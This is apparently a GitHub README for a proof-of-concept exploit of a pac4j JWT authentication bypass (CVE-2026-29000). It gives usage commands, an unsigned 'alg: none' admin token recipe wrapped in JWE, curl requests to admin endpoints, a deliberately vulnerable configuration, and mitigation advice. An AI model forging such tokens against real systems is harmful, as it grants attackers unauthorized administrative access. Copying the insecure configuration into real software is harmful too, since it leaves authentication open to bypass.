c0gnit00/CVE-2026-29000

GitHub: c0gnit00/CVE-2026-29000

Stars: 0 | Forks: 0

# CVE-2026-29000: pac4j JWT Authentication Bypass PoC ## ⚠️ DISCLAIMER **This tool is provided for educational and authorized security testing purposes only. The author assumes NO responsibility for any misuse, damage, or illegal use of this exploit.** - Unauthorized access to computer systems is **ILLEGAL** in most jurisdictions - Users must obtain **explicit written permission** before testing - The author is **NOT liable** for any consequences arising from misuse of this tool - This is a **security research and educational tool** - use ethically and legally ## 📋 Vulnerability Overview This vulnerability exploits a flaw in pac4j's JWT authentication mechanism where the library: 1. **Accepts unsigned tokens** with `alg: "none"` in the JWT header 2. **Trusts JWE-wrapped tokens** without properly validating the inner JWT signature 3. **Allows role elevation** through custom claims in the unsigned payload An attacker can craft an unsigned JWT with arbitrary claims (like `role: "ROLE_ADMIN"`), encrypt it in a JWE container using the server's public key, and gain unauthorized access to admin functionalities. ## 🎯 Prerequisites for Successful Exploitation ### Server-Side Requirements For this exploit to succeed, the target server must satisfy **ALL** of the following conditions: #### 1. **Accessible JWKS Endpoint** The server must expose its public keys via one of these endpoints: - `/.well-known/jwks.json` (standard OAuth/OIDC endpoint) - `/api/auth/jwks` (custom endpoint) **Why:** The exploit automatically fetches the server's public key to encrypt the forged JWE token. #### 2. **JWT ROLE Claim Acceptance** The server must: - Accept and process a `role` claim in the JWT payload - Have at least one privilege level that grants elevated access (e.g., `ROLE_ADMIN`) - **Not** validate the JWT signature or allow unsigned tokens **Common Roles:** - `ROLE_ADMIN` - Full administrative access - `ROLE_USER` - Standard user access - Custom roles depending on application #### 3. **JWE Token Processing** The server must: - Accept JWE (encrypted) tokens as valid authentication - Decrypt and process the inner unsigned JWT - **Not** verify the signature of the inner JWT or check the algorithm #### 4. **Vulnerable pac4j Configuration** The application must use pac4j with: - Algorithm set to `"none"` or inadequate algorithm validation - JWE encryption enabled but signature verification disabled on the inner JWT - No additional token validation beyond JWE decryption ## 🛠️ Installation ### Requirements - Python 3.7+ - Required packages: `requests`, `jwcrypto` ### Setup # Clone the repository git clone https://github.com/yourusername/CVE-2026-29000.git cd CVE-2026-29000 # Install dependencies pip install -r requirements.txt ### requirements.txt requests>=2.28.0 jwcrypto>=1.4.0 ## 🚀 Usage ### Basic Usage python3 exploit.py **Example:** python3 exploit.py http://vulnerable-app.local:8080 The script will: 1. Attempt to fetch JWKS from standard endpoints 2. Generate an unsigned JWT with `role: "ROLE_ADMIN"` 3. Encrypt it using the server's public key 4. Output a JWE token ready for authentication ### Advanced Options #### Custom Username python3 exploit.py http://vulnerable-app.local:8080 --username john #### Custom Role python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR #### Supply JWKS Manually If the JWKS endpoint is not publicly accessible, provide the JWK manually: python3 exploit.py http://vulnerable-app.local:8080 \ --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}' #### Full Example with All Options python3 exploit.py http://vulnerable-app.local:8080 \ --username hacker \ --role ROLE_ADMIN \ --jwk '{"keys":[{...}]}' ## 📤 Using the Generated Token The exploit outputs a JWE token in the following format: Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0... ### Making Authenticated Requests Use the token in HTTP requests to access protected endpoints: # Using curl curl -H "Authorization: Bearer " \ http://vulnerable-app.local:8080/api/admin/dashboard # Using Python requests import requests headers = {"Authorization": f"Bearer {jwe_token}"} response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers) ### Example Request with Authorization Header curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \ http://vulnerable-app.local:8080/api/users/list ## 🔍 How the Exploit Works ### Step 1: Create Unsigned JWT header = {"alg": "none", "type": "JWT"} payload = { "sub": "admin", # Username "role": "ROLE_ADMIN", # Privilege level "iss": "principal-platform", # Issuer "iat": 1234567890, # Issued at "exp": 1234571490 # Expiration (1 hour) } The JWT is created with **no signature** (`alg: "none"`), which is normally invalid but accepted by vulnerable servers. ### Step 2: Fetch Server's JWKS The exploit queries: 1. `/.well-known/jwks.json` (OAuth/OIDC standard) 2. `/api/auth/jwks` (custom endpoint) This retrieves the server's RSA public key needed for encryption. ### Step 3: Encrypt JWT as JWE The unsigned JWT is encrypted using: - **Algorithm:** RSA-OAEP-256 (asymmetric encryption) - **Encryption:** A128GCM (authenticated encryption) - **Key:** Server's public key (prevents tampering) This creates a JWE token that the server can decrypt but won't verify the inner signature. ### Step 4: Use the Token The JWE token is included in the `Authorization` header: Authorization: Bearer The vulnerable server decrypts it and extracts the unsigned JWT, trusting the claims without verifying the signature. ## 🔐 Vulnerability Chain Unsigned JWT (alg:none) ↓ Wraps in JWE (with server's public key) ↓ Server receives JWE token ↓ Server decrypts JWE ↓ Extracts inner unsigned JWT ↓ ❌ Server does NOT verify signature ↓ ✅ Accepts claims as valid (role: ROLE_ADMIN) ↓ Attacker has admin access! ## ⚠️ Detection and Indicators ### Server-Side Indicators of Vulnerability 1. **JWKS Endpoint Exposure** - Check if `/.well-known/jwks.json` or `/api/auth/jwks` is publicly accessible 2. **JWT Validation Logs** - Look for logs accepting tokens with `alg: "none"` - Warnings about unsigned tokens being accepted 3. **Configuration Review** - Check if pac4j's signature verification is disabled - Verify JWE decryption settings ### Network Indicators # Reconnaissance curl -s http://target:8080/.well-known/jwks.json | jq . curl -s http://target:8080/api/auth/jwks | jq . # Check if JWE tokens are accepted curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected ## 🛡️ Mitigation and Remediation ### For Developers Using pac4j 1. **Enforce Signature Verification** // BAD - Accepts unsigned tokens JwtAuthenticator jwt = new JwtAuthenticator(); jwt.setAlgorithm(null); // ❌ Vulnerable // GOOD - Requires valid signature JwtAuthenticator jwt = new JwtAuthenticator(publicKey); jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure 2. **Validate JWT Algorithm** - Never accept `alg: "none"` - Whitelist allowed algorithms (e.g., RS256, HS256) - Reject tokens with mismatched algorithms 3. **Disable JWE if Not Needed** - If authentication only requires JWT, disable JWE wrapping - If JWE is needed, verify the inner JWT signature independently 4. **Update pac4j** - Apply security patches - Update to a version with signature verification enabled by default 5. **Add Token Validation Layers** - Validate token expiration (`exp` claim) - Verify issuer (`iss` claim) - Cross-reference roles against a trusted database ### For System Administrators 1. **Restrict JWKS Endpoint Access** location /.well-known/jwks.json { allow 10.0.0.0/8; # Internal networks only deny all; } 2. **Monitor Authentication Logs** - Alert on tokens with `alg: "none"` - Flag admin role assignments from unexpected sources 3. **Network Segmentation** - Isolate authentication servers - Restrict JWKS endpoint to authorized clients 4. **Regular Security Audits** - Review pac4j configurations - Penetration test authentication mechanisms ## 📊 Test Environment ### Vulnerable Setup Example @Configuration public class SecurityConfig { @Bean public JwtAuthenticator jwtAuthenticator() { JwtAuthenticator authenticator = new JwtAuthenticator(); // ❌ VULNERABLE: No signature verification authenticator.setAlgorithmsAllowedForSigning(null); authenticator.setJwtClaimsValidation(false); return authenticator; } @Bean public JWEEncrypter encrypter() { // Accepts JWE but doesn't verify inner JWT return new JWEEncrypter(); } } ## 📚 References - **CVE ID:** CVE-2026-29000 - **Affected Library:** pac4j (JWT module) - **Attack Vector:** Authentication bypass via unsigned JWT + JWE encryption - **CVSS Score:** 9.8 (Critical) ### Related Resources - [pac4j GitHub Repository](https://github.com/pac4j/pac4j) - [JWT Best Practices](https://tools.ietf.org/html/rfc7519) - [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html) ## ⚖️ Legal Disclaimer This exploit is provided for **educational and authorized security testing purposes only**. **Unauthorized access to computer systems is illegal.** This tool should only be used on: - Systems you own - Systems with explicit written permission - Authorized penetration testing engagements The authors are not responsible for misuse or damage caused by this tool. ## 📝 License MIT License - See LICENSE file for details